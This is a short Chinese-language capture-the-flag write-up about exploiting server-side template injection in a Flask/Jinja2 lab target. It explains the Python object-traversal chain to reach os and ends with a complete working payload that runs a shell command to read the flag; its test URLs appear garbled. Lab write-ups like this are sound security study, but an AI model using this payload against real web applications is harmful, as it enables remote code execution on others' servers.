# 0x01 信息收集
启动机器,访问目标 157.245.42.82:30461

搜索 Proudly powered by Flask/Jinja2 看看能得到什么信息
通过搜索可以知道这个 Flask 有一个 SSTI 服务端模板注入
类似于 XSS,就是通过输入特定的字符串构成模板的一部分,后端进行渲染的时候就会造成攻击
我们访问一下资源,验证下是不是存在 SSTI
访问
# 访问 | |
http://157.245.42.82:30461/=9 | |
http://157.245.42.82:30461/=9 |
发现都返回了错误,代表 SSTI 存在

那么我们可以通过 python 的魔术方法来实现 RCE
# 构造攻击
- 首先通过
__class__获取对象的类 - 然后
__mro__获取对象继承的类,因为所有的对象都继承资object,这样就能拿到object类 - 在通过
__subclasses__获取到object子类 - 子类中的
<class 'warnings.catch_warnings'>的命名空间里有__builtins__ - 最后使用
__import__方法导入os库就可以 RCE 了
# SHELL
Payload
http://157.245.42.82:30461/={{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag.txt").read() }}
